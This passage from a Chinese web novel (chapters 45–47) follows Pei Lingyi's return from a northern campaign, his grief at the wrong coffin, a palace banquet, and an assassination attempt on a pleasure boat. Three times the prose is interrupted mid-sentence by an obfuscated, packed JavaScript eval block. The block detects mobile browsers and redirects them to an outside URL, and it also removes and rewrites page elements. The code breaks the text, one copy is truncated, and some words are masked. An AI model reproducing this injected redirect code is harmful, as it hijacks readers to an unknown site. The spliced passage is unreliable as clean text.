元韫浓一只耳朵进,一只耳朵出,装模作样地点点头。 第45章 春日归 别绪如丝梦不成,营帐之中,难以入眠。 裴令仪干脆披衣起身,掀起帐帘,看着三更雨。 雨声悲切,敲**心,心里如丝般纷乱纠错,绵绵不绝。 又是冬日,已是一年。 这一年里,裴令仪只寄过一封信回去报过平安,此后再没有书信,元韫浓也没有过问。 “这是怎么了啊?小王爷,孤枕难眠,夜思情人啊?”旁边的女声调笑道。 裴令仪回头不冷不**瞥了一眼帐外穿着金甲的女子,她身后带了一列士兵。 “好好巡视,守好你的本职。”裴令仪道。 那女子切了一声,带兵转身走了。 裴令仪放下帐帘,转身回去。 思来想去,他铺开笔笺,却提笔却迟迟,墨水滴落在纸上晕染开。 一时间裴令仪竟然不知道该写些什么。 其实他不是不能知道元韫浓的近况,只要他想,他可以派遣京华部下的暗卫去查,去看。 但他却又害怕知道元韫浓的消息,莫名的近乡情怯。 怨怪元韫浓为什么不给他写信回信,委屈元韫浓为什么不关心他,想念元韫浓,但是事未成又不敢诉说…… 裴令仪闭了闭眼,又抽了一张纸,写下一页的草稿,写了又划掉,搜肠刮肚才有一句可以落笔。 昔为鸳和鸯,今为参与辰。 昔日和鸳鸯一般形影不离,亲密无间,如今却如同参商般天各一方,彼此分离。 这诗写的是兄弟情谊。 书郑重,恨分明,天将愁味酿多情。 从头至尾,裴令仪只写了那一句诗,轻叹一声,呵着冰冷的双手粘好了信封。 在为信封签押时,笔尖却仿佛被冻住了似的,四周一片冰冷的寒意。 他的目光流转在草稿纸的“鸳鸯”二字之上,眼睛忽觉干涩。 起来呵手封题处,却到鸳鸯两字冰。 这封信寄了出去,路遥马急,隔了许久才落到了元韫浓手中。 而京华早已经又落了雪。 郑女幼进岁浓院的时候,元韫浓正坐在廊下,靠在紫藤木的椅子上撑着脑袋,看那封信。 元韫浓在自己的地盘上素来很随意,未施粉黛,也没有挽发。 如墨如瀑般的长发就垂在臂弯上,背脊上,在冬天暖阳的光线下朦胧了,又或许是被飞琼般的雪花模糊了。 岁浓院的女使们嬉笑着在院里堆雪人,撒欢似的闹作一团。 那笑声很远就听见了,也不会令人厌烦。 明明如此欢畅的画面,却又是如此平静的午后。 很多年后,郑女幼也不会忘记这一幕。 元韫浓身边的人都是这样的,知道元韫浓的性子,因此有些怕她,但却又知道时候可以放开性子闹。 郑女幼很早就跟元韫浓说过,她把她身边的那些人都惯坏了。 她却笑笑说,这世道都这样了,在我这岁浓院里,在国公府里,我还是管得了事的。 因此郑女幼觉得元韫浓有些不一样了。 从前元韫浓也是这样身居高位的傲慢,但如今却多了些沉淀下来的威压。 尤其是元韫浓撑着头俯视人的时候,仿佛生杀予夺全在她一念之间一样。 元韫浓这个人就是这样,看似柔善可亲,说话也舌灿莲花。 可但凡有一点不合心意了,方才的温言软语都是假的了,仿佛只是逗一逗罢了,摆摆手就能叫人立刻处理掉。 元韫浓抬起头看过来,眉宇间净是慵懒的倦怠,“你来了。” “我好不容易来做回客,也不见得郡主来迎一迎我呢。果然啊,是我失宠了。”郑女幼装模作样地哀叹。 元韫浓弯了弯唇,“少装。” 郑女幼走到廊下,她身后的女侍收了伞。 “你在看谁的信?你那便宜义弟的吗?”郑女幼可想不到还有哪位人物需要给元韫浓写信了。 同在京内,想见的不过是一句话的事情。 “除了他,还能有谁?”元韫浓懒洋洋地掸了一下信纸,“小没良心的,可算是记起来寄东西了。” 郑女幼这才瞥见元韫浓手里还有一支素银簪子,上边只有红玛瑙做点饰。 “都成了骠骑校尉了,在外头混了那么久,才寄回来一支红玛瑙素银簪子呢?”郑女幼没忍住笑。 元韫浓眉梢一挑,“小满,取烛火来。” “是。”小满回屋里头取了烛台来,倾身将烛火靠近元韫浓。 元韫浓将那只素银簪子贴近烛火,红玛瑙在热度下居然逐渐融化了。 原来是红蜡。 郑女幼瞪圆了眼睛。 “都说郑六娘最擅长看宝了,今日居然还看走眼了吗?”元韫浓语调里含了些调侃,取出红蜡里包裹着的纸条。 “是什么军机吗?该不会是北州出了什么事情吧?”郑女幼顿时紧张起来。 元韫浓展开那张卷成细小一条的白纸。 郑女幼忙凑过去看,就是空白一张纸,什么都没写。 她又是一愣,“裴清都塞错纸了吗?” 元韫浓不语,将那张纸也贴近火苗,字迹缓慢显现。 上边写——待春归。 郑女幼热切的表情一点一点冷凝下来,“你们姐弟花样也是真够多的,春天回来就春天回来,书信上怎么不能写?还搞得跟间谍接头似的,又是红蜡藏纸,又是空白纸条的。” 烛火照出那三个字,元韫浓平静地将信笺和那张纸条一并焚烧燃尽。 这还是裴令仪捣鼓出来的花样,不过愿意是为了求得她原谅。 每次不知道自己错在哪,莫名惹了元韫浓不高兴,裴令仪都是买一盒珠宝首饰。 放在盒里最上面的就是红玛瑙的东西,实际上是红蜡,里面总藏着字条。 用明矾蘸水写的字,每回都是“阿姊,我错了”,晾干后什么都瞧不见,只要烛火一照就能看到。 郑女幼随口说完,又来了兴致,“不过这法子,用来修书倒也别有一番趣味呢。” “你倒是喜欢这些东西,不过郑伯父觉得不务正业吧。”元韫浓说。 “著书立说,我很喜欢。”郑女幼表情冷淡,“我父亲能忍受我纨绔的兄弟一事无成,却无法忍受一个写书的女儿。只可惜……” “可惜什么?”元韫浓挑眉。 郑女幼说道:“我欲修国史,绮阁不封女学士。” 元韫浓托着下巴,问:“我若是能让你进翰林院呢?” “别开玩笑。”郑女幼无奈道。 “我不开玩笑,我要是当了皇后,我就让你进翰林院。”元韫浓风轻云淡道。 郑女幼看向元韫浓,元韫浓说这话很平淡,唇角却一直带着笑,叫人看不出是真是假。 于是她也笑:“若真是这样,我就做你的奸臣了,你指哪,我打哪。” 元韫浓趴在扶手上笑:“到时候青史留名,可都写你助纣为虐了。” “那又怎样?我管什么身后名?”郑女幼翘着嘴角,抬高了下巴,“我都是奸臣了,还管美名呢。” 元韫浓点了一下她的脑袋,“贫嘴滑舌。” 裴令仪说待春归,那确实是春归。 边境来信,说是大捷。 和北凉试探性的几场打下来,对方并没有打算深入,大大方方认了输,说不会再骚扰南朝边境,便要求休养生息了。 北凉显然不像是会善罢甘休的模样,只是暂时摸清了南朝的路数,要回去布局罢了。 不过对目前的结果,惠帝很满意。 让惠帝不满意的是,裴令仪不但活着,还立了大功。 而且裴令仪还零零散散收编了不少兵士,惠帝当初点给他一千人,他带回来两千人。 但不管再怎么不甘愿,惠帝也只能皮笑肉不笑地在朝堂上夸奖几句,然后把那两千人交给裴令仪,再颁赏赐给国公府。 他实在不想给裴令仪升官职,只得本着肥水不流外人田的想法赏了很多东西到国公府。 赏赐多到即便是见惯了好东西的国公府奴仆看了,都得称叹两句。 金银细软在晨光中反射出耀目光华,映照在捧着漆盒的仆役脸上。 锦缎漆盒一列排开,直将正厅挤得满满当当,几乎快要没有下脚的地方了。 满室宝气闪烁浮动,元韫浓半眯着眼睛走过光送着莹面上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476469|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如朝霞和雪艳射,不能正视。 目波澄鲜,眉妩连卷。 “郡主站在这些珠宝里,反而被这些珠光宝气更艳丽了。”小满夸奖道。 元韫浓听得心情愉悦,“嘴还挺甜。” 小满嘿嘿一笑。 “既然已经得了圣谕,清都他们也怕是启程回来了,也不知何时才能抵达京城。”元韫浓随手合上一个漆盒。 霜降示意仆役们把东西清点了以后搬去库房。 小满说:“两千多人回来,不会太慢的。” 元韫浓估摸着裴令仪新收编的那一千人里,起码有五成是裴氏留下的兵,被裴令仪混进去的。 “北营军是还要留在北州镇守的,徐氏之人自然也要留在那,无法进京述职,陛下给他们赏赐了吗?”元韫浓问。 “那自然也是赏了的,不过听闻他们表现无功无过,陛下也只是例行恩赏罢了。”霜降回道。 “能打赢就是功,只是明面上他们是有功的。”元韫浓讽刺地弯了弯唇。 她早听元彻回提了,徐氏这回打得可不怎么样,打到一半跑西洲,去找孙氏借兵。 孙氏请示了惠帝,才借了一万的西营军。 最后还是裴令仪领着西营军破的敌军大阵。 有那一万西营军在,徐氏也编不来瞎话,只能硬着头皮实实在在上报的裴令仪功绩。 所以这回,惠帝重点赏的是裴令仪和西营军。 这背后裴令仪不知道吃了多少苦头。 “连徐氏都得了赏,五郎那么大的功,连一点官阶都不升。”小满撇了撇嘴。 霜降拿手肘撞了她一下,“别乱说,被传出去可就完了。” “骠骑校尉已有四品,比起文官一阶一阶熬,已经是一飞冲天了。”元韫浓平静道,“拿命去拼杀,武官自然升得快。” 她说:“这还没完呢,迟早还得再打起来,到时候这官还是会升的。到那时就是车骑将军了,金印紫绶,第二品,听着如何?” “这听着可好多了。”小满点头,“这么一想倒是也合理,毕竟五郎都还没及冠。” 元韫浓笑了笑:“是啊,所以,不急。” * 又是一年元宵夜。 照旧的热闹,千盏万盏花灯齐齐绽放在长街内外,如云蒸霞蔚,光芒璀璨夺目。 姑娘们身裹绫罗绸缎,头戴珠翠花钗,衣香云鬓,郎君们骑马仗剑,锦绣华服,三五成群。 亲朋好友都在这一日齐齐涌上街头,车马塞道,比肩接踵。 元韫浓和慕水妃、沈川、郑女幼一道在街上游玩了一番,便一一道别,要回家和家人一道了。 毕竟也是团圆的节日。 可惜府上恰好碰到了事,不能大肆办得喜庆,不好太热闹。 “回来啦!北伐的队伍班师回朝啦!” 不远处传来喧哗,原先热闹的街道愈发火热了起来。 “回来了?快瞧瞧,快让我来瞧瞧!” “领头的那个小将军是不是清河王?他这回可是立了大功啊,说是最后能破阵,多亏了他和西营军!” “哇,长得真俊啊,裴家人都长得漂亮。” “不就是小白脸模样吗?那么年轻,在沙场上怕也是混军功吧?裴家直系一脉可都只剩下他了,能起什么色?” “那可不一定,后天不是住到国公府去了吗?国公府一家都是武官,教了些真本事也说不定啊。” 隔着人声鼎沸,元韫浓遥遥看见人们口中那位居功至伟的小将军骑在战马上,战袍猎猎,银甲明光。 他身后跟着裴七裴九,还有一个眼生的明丽姑娘,千人的队伍浩浩荡荡。 眉目冷艳的少年骑着高头大马,跃过龙舞,穿过花灯。 难得的少年意气,更是难得的春风得意。 元韫浓远远看着裴令仪,勾起唇角,“走吧。” 小满愣了愣,“郡主,我们不去跟五郎打个照面吗?” “打什么照面?人还要去宫里述职呢。”元韫浓敲了一下她的头,“我们先回去,他很快会回来的。” 霜降和小满应声。 元韫浓转身上了马车,先回国公府。 第46章 哭错坟 裴令仪归心似箭,惠帝也不想多看见他,很快就放他走了。 一出宫门,裴令仪就目标明确,直奔岐国公府。 裴七骑马跟不上他,“主子!主子!” 裴令仪将他的呼喊声抛之脑后,策马飞驰而过。 他想要看到元韫浓,切切实实地看到元韫浓。 感受到元韫浓的温度,闻到药苦,注视到元韫浓的双眸。 越近,他越觉得不对。 为什么这样的节日里,国公府周围这般的冷清? 再往前,入眼缟素。 撞见元府前头满目的缟素,一片白茫茫晃得裴令仪眩晕耳鸣。 什么…… 裴令仪呼吸一滞,翻身下马。 门僮看见了裴令仪,忙上前来:“五郎回来了?国公叫我等在门口迎五郎进门呢。” 见裴令仪的那副表情,门僮顿了顿,叹了口气:“如今这般也是没法子,不好替五郎风光大办洗尘宴……诶?五郎?五郎!” 裴令仪跌跌撞撞地跑了进去,正堂前就摆着一台棺木。 裴令仪呆滞地站在原地,摇摇欲坠。 仿佛再也支撑不住似的,他“砰”地一声跪在灵柩前,扶棺落泪。 “阿姊……”他颤声道。 旁边人见他一路直奔进来跪下,如此哀恸,反倒是被他吓了一跳。 还来不及思索怎么一回事,便先去安慰:“节哀顺变,如此死后哀荣,也算是尽了元府心意了。” 裴令仪悲愤至极。 什么节哀顺变,什么死后哀荣,都是讲给活人听的,做给活人看的。 阿姊何等尊贵,就如此场面,怎么够显她生时喧乐?元府就这等做派,简直是欺人太甚! 难道昔日珍爱,通通都是骗人的吗? 旁的什么都听不进去了,裴令仪抱着棺木恸哭。 堂前这些人里,就裴令仪哭得最为伤怀。 旁边几个仆人见事态一发不可收拾,忙去通知主人家。 “清都!”一声清喝。 裴令仪愣了愣,不可置信地蓦然回首。 却见元韫浓提着裙摆,站在门槛外边,喘息未定。苍白的脸颊沾了红晕,眸光潋滟。 裴令仪再回头看看上头名字,元出祥。 正是元府的远房亲戚,难怪方才那人说死后哀荣,元府是尽心了。 “我阿弟是心肠软,见了谁家新丧都得进去哭一场,招待不周了。”元韫浓一面跟堂前傻眼了的宾客们胡扯讪笑,一面进去拽起了裴令仪就走。 哭错坟了,还被元韫浓撞见了。 裴令仪是臊得慌,一声不吭地低着头乖乖被元韫浓牵走了。 到了僻静处,就是元韫浓秋后算账了。 “你是以为死的是我?”元韫浓抱臂问道。 裴令仪张了张嘴,什么都说不出口。 元韫浓体弱多病是所有人都看得见的,他下意识就…… 或者说他在外一年多,每一日都在忧心元韫浓的身子。 “阿姊身体不好,我今日回来前,还听人说阿姊大病一场呢。”裴令仪说。 元韫浓不以为意,“大病小病,常有的事,死不了。” 她端详眼前的裴令仪,短短一年多的时间,仿佛半点没变,又仿佛脱胎换骨。 裴令仪越来越像前世的那个裴令仪了。 他穿了一身黑色襕袍,领口和袖口,包括内衬却都是艳红的,缀满金线暗纹。 裴令仪很多时候都喜欢素净的缎子,实际上那些缎子也很贵,在日光和月光下都是不同的花影。 他的内衬都喜欢是红色的,像是染了血一般的猩红。 “你……”元韫浓都恍惚了片刻。 她回过神,正色道:“你也见到了,国公府里怕是不能给你风光大办,接风洗尘了,但是惠帝那里于情于理都会给你办洗尘宴。” 裴令仪盯着元韫浓。 元韫浓见他没回话,“怎么了?” “一别那么久,阿姊见了我第一面就是说这些吗?我给阿姊寄信,阿姊也不回我,也从来没有给我寄过信。”他落寞地低垂眼帘。 元韫浓顿了顿,竟也有些心虚。 她抬手摸了摸裴令仪的头,发觉自己现在居然还得踮着脚费劲去够。 倒是裴令仪主动低下了头,任由元韫浓来摸。 “咳。”元韫浓轻咳一声,“那是你的第一战,至关重要,我不能让别的事情影响到你,给你分神。” “可阿姊的事,不是别的事情。我想看到阿姊的信,想看到阿姊的字。”裴令仪低着眼眸,说。 元韫浓突然有些忧愁。 裴令仪是不是有点太黏她了? 之前没觉得,但是现在裴令仪都官拜四品了,还这样是不是有点太过了? 元韫浓道:“下回我会写信的。” “好。”裴令仪这才抬眼露出一个笑。 元韫浓觉得有哪里不太对,但又说不出来。 惠帝的确为裴令仪办了洗尘宴,还格外的隆重。 惠帝想着是裴令仪直接死在边疆的,谁知道裴令仪非但没死,还打了胜仗活着回来了。 但是回来了,不给官阶,这些虚的总得给。 不然百官百姓,还有那些史官,还不知道怎么说呢。 时不时面色恭敬地回应几句惠帝假惺惺的关怀,裴令仪坐在自己的位置上,难掩心中厌烦。 方才还没开宴,元韫浓就被叫走了,也不知道去做什么。 要紧的是,慕湖舟的那个位置也一直没有人入座。 这个洗尘宴上还坐着北凉派来的使节。 正是如此,裴令仪才更加焦心。 殿内灯烛辉煌,金碧错杂。龙凤壁画,珠玉坠帘,通通穷极技巧。 乐师们手执乐器端坐在两侧,抚琴吹埙,一片宫商。 舞姬在堂中水袖轻摆,伴着乐曲翩然起舞。 殿外当值的宦官高声传呼:“三皇子到——” “朝荣郡主到——” 宴上的内侍女使闻声皆敛容屏气,躬身垂首。 元韫浓款步入内,杏脸桃腮,眉目如画,犹如烟雨云浮的金明池畔,日光破开展露的花光水影般。 慕湖舟伴她身侧,冠服端严,神情闲远。丰神秀慧,容貌甚美。 慕湖舟行礼,“儿臣见过父皇。” “朝荣见过陛下。”元韫浓眉眼含笑,惹人心中欢喜。 “不错,平身。”惠帝点头。 众人不禁揣测惠帝的意思。 慕湖舟是中宫嫡出,母族显贵,少时多慧,礼、乐、射、御、书、数传皆通**之。 他多年以来未曾有过半点懒怠与傲慢,也是如今储君备选之中炙手可热的人物。 这会让慕湖舟和元韫浓一块进来,难道是想要亲上加亲,来个联姻? 裴令仪暗自攥紧了拳头,眼神阴沉。 “既然来了,就快入座吧。”太后开口。 她说罢,看了一眼惠帝。 她是想慕湖舟跟白翩飞一块的,奈何裴令仪对白翩飞避之如蛇蝎,惠帝也没有赐婚的意思。 如今惠帝专程让慕湖舟和元韫浓在这种场面上一块进来,被百官看到,也被北凉使者看到,难道真动了姻亲的意思? 倘若如此费心的话,是不是也说明,在慕湖舟和慕载物之间,惠帝也更偏向慕湖舟? 元韫浓睫羽微颤,微笑:“是。” 皇后脸上有些挂不住笑,她看了一眼同样脸色难看的白翩飞。 她几乎是明说了,告诉白家三皇子妃必须是他们家的。 若不是,她要怎么给白家交代? 慕湖舟和元韫浓座位不在一处,分开入座。 元韫浓的位置还是在裴令仪旁边的。 待到元韫浓入座,裴令仪偏头看过去,巫山云雾般乌黑的发,半弯明眸藏琥珀,分外动人。 “怎么了?”元韫浓扬眉。 裴令仪压低了声音问:“方才那女使喊阿姊出去,就是为了让阿姊再和三皇子一块入场吗?” “是啊。”元韫浓平淡道,“看来都用不着我苦心经营了,自有圣意在呢。” 尽管她估摸着,惠帝八成是因为惠贞长公主。 裴令仪还想再说什么,就被元韫浓打断了。 元韫浓主动给他倒了一杯酒,“关外苦寒,没有喝酒吧?” 裴令仪看着元韫浓递过来的酒杯,却沉默了片刻。 “喝了。”他回答。 元韫浓有些意外,“我还以为你不怎么喜欢这些东西。” “也不是喜不喜欢,只是有时候需要而已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴令仪注意到元韫浓跟慕湖舟的眼神交流,目光一冷,却依旧面带微笑:“多谢五皇子提醒,臣自当谨记。” 慕载物自讨没趣,冷哼一声,转身走了。 这样的宴席大多都是为了人际往来罢了,宴席散后,也总有些人还有后场。 元韫浓散了场就跟父母亲请示,说还有约。 岐国公和惠贞长公主对视一眼,也还是放了人。 至于裴令仪,似乎也有后场,元韫浓没有多管。 她向来不过问裴令仪在背后做什么。 因为她自己都不知道慕湖舟和裴令仪之间谁才会是那个真龙天子,又或者谁都不是。 她要做的只是保住这两个人的命,至于谁是赢家并不重要,都可以保她和元氏荣华富贵就够了。 只是这条路对于裴令仪来说会艰难很多,注定是一条可能有去无回的苦旅。 “你在背后做些什么,我是素来不过问的,但也记得分寸知道吗?”元韫浓走前还不忘记提醒裴令仪。 裴令仪如今不同往日,盯着他的视线必然也会更多。 裴令仪僵硬地点了一下头,“我做事会小心,不留下把柄,连累到国公府和阿姊,阿姊放心。” “嗯。”元韫浓点了点头。 裴令仪目送元韫浓转身离开,眸光轻转,眼神似面青铜古镜,倒映出的事物都变得斑驳,晦涩不明。 他的身后,裴七裴九,还有那位跟他一同回京的明丽女子等候已久。 “还看呢?人都走远了。”那女子调笑,“望穿秋水啊,小王爷。” 她是西营军统领,西洲节度使独女,孙鹃纨。 也正是前朝被白氏打败的孙氏。 此次北伐,自西营军借兵之后,她作为裴令仪的副将协助。 裴令仪冷冽地瞥了她一眼,转身,“走。” 孙鹃纨笑着跟了上去。 “她胆子可真大。”裴九感慨。 裴七冷冷地斜睨他一眼,“你要是羡慕,也可以试试看。” “想我死你就直说。”裴九不上这当。 第47章 刺杀 金明池的好光景是人尽皆知的,尤其是雨夜,被不少文人墨客所推崇。 其遍植莲藕,每逢阴雨绵绵之夜,人们多爱到此地听雨打荷叶的声音。 雨过天晴万物清新,更有一番新气象,故有“金池夜雨”之称。 先前元韫浓经常同裴令仪来此处听夜雨,煮茶温酒,垂钓听曲。 画舫之上,裴令仪和裴氏旧部商榷机密。 旁边有乐者奏曲,一为助兴,二为掩人耳目。 商议到尾声,其中一名老者用袖子捂着嘴咳嗽了两声。 老者满脸歉疚:“诸位抱歉了,老朽前不久染了风寒。” 裴令仪微微皱了皱眉。 要是让他沾了病气,回去传给元韫浓怎么办? 孙鹃纨嫌弃道:“那你不早说?连面巾都不知道戴一个,你要是传染给殿下怎么办?” “额……”老者多少有些尴尬,“是老朽思虑不周了。” “快快快,裴九,把窗打开通通风。”孙鹃纨说。 裴九得到裴令仪默许,推开窗,神色一僵,又眼疾手快地把窗关上了,“外边风大,还是别开了吧。” 裴令仪早已觉察了异样,冷声道:“打开。” 裴九只能硬着头皮照做。 外边能看到不远处也有一座画舫缓缓游弋于波光之上,雕栏玉砌在灯火映照下熠熠生辉。 一个少女就立在雕花窗边,恰似夜幕中盛开的繁花。 她手持一柄湘妃竹扇,轻轻晃动,正跟旁边身长玉立的男子笑语。 像是说到了什么有趣的逸事那样,她露出一抹浅笑,在华灯明昼映照下更显动人。 “咦?那不是三皇子和郡主吗?”那老者惊奇道。 孙鹃纨下意识去看裴令仪脸色。 裴令仪脸上的表情孙鹃纨从未见过,她觉得裴令仪此时比战场上任何一个时候都要更生气,更可怕。 裴令仪垂着眼睑,薄唇紧抿成一道冷硬的线,没有一丝弧度,仿佛被冰封住了所有情绪。 裴九难免有些胆寒,“主子?” “快快把你家主子手里的茶杯取走,别到时候咬碎了牙还捏碎了杯子,伤了手要来怪我。”孙鹃纨道,“我就是想要开个窗透气罢了,我可不知道这事啊!” 那头元韫浓也注意到了这边,隔窗看见了裴令仪,颇为诧异。 她倒是也没想巧合成这样。 她转念一想,裴令仪这会应该是和自己部下商榷什么大逆不道的事情,不能被外人道。 于是她挽过慕湖舟的手臂,转过身往里边走,转移话题:“我想吃莲子羹了。” 慕湖舟没注意到裴令仪那边,被元韫浓吸引了注意,“嗯?我遣人去近水楼台买?” 见元韫浓仿佛没看到裴令仪似的,抱着慕湖舟胳膊背过身去,裴九表情更僵硬了。 孙鹃纨再看裴令仪,寒意更甚。 牙都要咬碎了吧?她偷偷想。 裴令仪面无表情道:“计划提前,今晚就实施。” 此话一出,所有人都愣了愣。 “今晚?”僚属们惊愕,“是不是太仓促了些?” “就今晚吧。”孙鹃纨啧了一声,“你们殿下也得讨人欢心啊。” 因为裴令仪也在金明池,元韫浓总觉得会有什么事情发生,多少感到不安。 于是尝了两口买来的莲子羹,就借口说困乏要回国公府了。 慕湖舟要送她回去,她又说今日要自己慢慢逛回去。 慕湖舟无奈,嘱咐了她几句,就被她催着赶紧回去处理公务。 送走了慕湖舟,元韫浓才松了口气,打算回头去找裴令仪。 元韫浓上了只小舟,驶向裴令仪那只依旧在池中缓慢挪动的画舫。 “在五郎身边那姑娘是谁?瞧着面生,在京中从未见过。”元韫浓突然想起来了。 她记得裴令仪回京那一日,那女子也是披甲骑马在裴令仪后边。 “那是西洲节度使的独女,孙鹃纨。”霜降回答。 元韫浓回想这号人物,“西营军统领的女儿,这回是做了五郎的副将,是吧?” 她记得前世此人也是裴令仪的僚属,毕竟裴令仪称帝王路上,孙氏功不可没。 孙氏本来就是前朝的将领嘛。 霜降点头,“正是,据说孙统领膝下就只有孙副将一个女儿,这回借兵给北州的那些西营军都是由孙副将带的。” “嗯。”元韫浓点了点头。 应该是值得信赖的人,裴令仪自己心里也有数。 小舟刚靠近画舫,就有一道影子从天而降,轻巧又敏捷地落在小舟上,一把短刃也架在了元韫浓脖颈上。 “郡主!”小满神色大变,也拔出了腰间的刀。 “哇。”孙鹃纨感叹,“国公府真是好大的手笔啊,这样身手的暗卫居然给你当武婢,该说不愧是郡主吗?” 元韫浓面不改色,“孙副将这又是什么意思?头回见面,就动刀动枪。” 孙鹃纨听到元韫浓对她的称呼,还愣了愣。 多的是人称呼她为孙小姐,但即使是她或许单手就能把那些人丢出去,也没什么人叫她孙副将,孙大人。 她脸上的笑容加深了一些,“头回见面吗?谁说的?郡主大人,我们可不是头回见面啊。” 她早见过元韫浓很多次了,在裴令仪的书画里。 一张又一张,这位美丽的、伶俐的、残忍的、盛气凌人的郡主。 “那我们有仇吗?”元韫浓问,“以至于你想要杀我?” “哦?我可没有那么想。”孙鹃纨笑着收起短刃。 而下一刻,小满的刀却架在了孙鹃纨的脖子上。 元韫浓微笑着注视孙鹃纨,“可我是那么想的。” 孙鹃纨意外地看着元韫浓,“我以为郡主再怎么狠心,也比不过殿下的,没想到……” “没想到我比他更心狠?”元韫浓似笑非笑。 这点倒是无论前世还是今生,都有一样的误区。 前世元韫浓刚做皇后的时候,那些臣子误以为她是柔弱善良的君后。 尤其是在裴令仪给了元韫浓一切帝王的规格之后,他们便认为元韫浓是可以帮他们求情说话的。 所以裴令仪大发雷霆之后,他们还会求到皇后的銮驾前,寻求庇护。 只是元韫浓远比他们想象的要残忍。 “啊……”那个容颜清妍的女子轻轻啊了一声。 大内的皇后坐在金银堆砌起来的车辇里,纤弱得仿佛随意一阵风雪就能摧折,脸色苍白。 华丽的凤辇如同一个摇摇欲坠的腐朽囚笼般困住了她,可她却像是燃烧起来了一样明亮。 可她微微偏过脸,能听到玉石碰撞的声音。 “我幸福的话,谁痛苦都无所谓啊。”皇后笑着说道。 元韫浓拒绝了他们的请求。 那时候他们仅仅是意识到皇后的冷漠,直到皇后从帷幕后走出来,走到前朝插手政事。 臣子们逐渐开始发现,这位皇后远比皇帝更加暴戾。 孙鹃纨赞同地点了点头,“他跟你不太一样,他掌权之后对没必要的人就不会装,而你对外头人都披着画皮。” “嗯。”元韫浓柔声应和,“那你也应该知道,我确实会让小满砍下你的头吧?” “诶?来真的吗?”孙鹃纨好像有些诧异,“我刚刚只是怕有不轨之人靠近来看看而已,可没有恶意哦。” 她的表情带了些戏谑,“即使是郡主,也该好好想想吧?我家主上可就在上边呢。” “啊?这样吗?如果我杀了你,清都他会不会因此跟我反目?”元韫浓仿佛极其担忧那样。 她牵动嘴角,似乎是无助的自嘲,“毕竟我和他只是半路姐弟,被皇权所捆绑在一起罢了。要是真杀了你,必然会离心。” 她转过头看孙鹃纨,自嘲的笑意转化成嘲讽,“我该这么说吗?” 孙鹃纨微微一怔。 “你要不要看看,我杀了你,他会不会眨一下眼睛。”元韫浓微笑。 孙鹃纨认真道:“是我的父亲收容了他,给他兵马,还让我跟着他做妾。” 说到这里,她的神情有些晦涩:“呵,那个老不死的。尽管殿下拒绝了,说我的价值不远止于此。” “我父亲于他有恩,我又容色不薄。哪怕郡主是他的白月光,也不至于到杀了我,他也不皱一下眉头的程度吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476471|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她轻佻道。 “你根本不明白,如果没有我,他早**。”元韫浓却平静地说道。 “是我一次次救他于水火。”她一步步靠近孙鹃纨。 “就算是再怎么样的恩重如山或是如花美眷,他都该知道,他该回报的人是谁。”她染了色的蔻丹轻轻划过孙鹃纨的脸庞。 元韫浓靠得很近,孙鹃纨感觉几乎快要贴上自己的是一条毒蛇。 元韫浓微笑:“如果他会因为这点小事跟我翻脸,我就先送他去见阎王。” 孙鹃纨看着元韫浓漂亮却决绝的面庞,眸光闪烁,“我本来很好奇的。” “什么?”元韫浓挑眉。 “我本来很好奇,像裴清都那样的怪物,到底喜欢你什么?”孙鹃纨笑,“但是见了你以后,我都有点喜欢你了。” 灯火的光芒洒落在粼粼江面上,碎金闪烁。 一阵尖锐的惊呼声划破夜空。 元韫浓猛地抬眸,循声望去,原本和乐融融的画舫上乱作一团。 船舷边,几个黑影如鬼魅般在人群中穿梭,手中利刃寒光闪烁。 船上的人惊慌失措,四处奔逃,场面混乱不堪。 元韫浓的心猛地一紧,什么情况? 孙鹃纨却处变不惊地露出笑:“有人刺杀哦,郡主要不要先放我去救驾啊?” 元韫浓狠狠一皱眉,“小满。” 小满会意,收回了刀。 “刀剑无眼,郡主小心呐。”孙鹃纨笑着说道。 然后她就轻敏地跃上了画舫,冲进了乱局里。 “郡主?”小满等待元韫浓的命令。 元韫浓再看了一眼画舫的形势,应该是能控制得住的。 确保自己不会受伤或者影响到什么之后,她道:“霜降留下,小满带我上去。” 小满点了一下头,揽着元韫浓的腰跃上画舫。 霜降紧张地看着二人的身影。 画舫上刀光闪烁,混乱之中,裴令仪一行人和刺客杀到了船舷上。 一道寒芒从暗处袭来,裴令仪侧身避让,却仍被利刃划破肩膀,鲜血直涌。 他闷哼一声,反手一剑刺出,刺客应声倒地。 鲜血顺着手臂蜿蜒而下,滴落在船板上,洇出一朵朵触目惊心的血花。 “保护殿下!”孙鹃纨厉声喝道。 几人以裴令仪为中心展开包围圈,面色凝重。 护卫奋力厮杀,终于将剩余的刺客扣押在地上。 “清都!”见局势已经稳定,元韫浓连忙冲了过去。 裴令仪抬手扶了冲过来的元韫浓一把,“阿姊……” “你怎么样?”元韫浓查看裴令仪的情况,眉头紧锁,“他们是什么人?” 